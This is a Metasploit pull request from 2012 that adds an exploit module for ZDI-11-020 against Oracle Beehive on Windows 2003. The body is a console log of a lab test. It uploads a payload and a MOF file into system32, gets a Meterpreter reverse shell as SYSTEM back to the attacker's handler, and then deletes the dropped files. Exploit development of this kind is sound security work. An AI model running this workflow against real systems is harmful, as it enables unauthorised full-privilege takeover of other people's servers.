rapid7/metasploit-framework — pull request #1060 by jvazquez-r7 (2012-11-13 15:07:40+00:00)
Title: Added module for ZDI-11-020

My test on Oracle Beehive 2.0.1.0 / Windows 2003 SP2 :

, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 1027 exploits - 535 auxiliary - 164 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops

msf > use exploit/windows/oracle/beehive_upload
msf exploit(beehive_upload) > show options

Module options (exploit/windows/oracle/beehive_upload):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 7777 yes The target port
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Oracle Beehive 2.0.1.0 / Windows 2003 SP2

msf exploit(beehive_upload) > set RHOST 192.168.1.178
RHOST => 192.168.1.178
msf exploit(beehive_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Encoding payload into exe...
[*] Generating mof file...
[*] Uploading the payload to c:\WINDOWS\system32\NamvzA.vbs...
[+] Payload successfully uploaded
[*] Uploading the MOF file to c:\WINDOWS\system32\wbem\mof\ZoEKSH.mof...
[+] MOF file successfully uploaded
[*] Sending stage (752128 bytes) to 192.168.1.178
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.178:2595) at 2012-11-13 15:46:05 +0100
[!] Deleting the exe payload "NamvzA.vbs" ...
[!] Deleting the mof file "ZoEKSH.mof" ...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...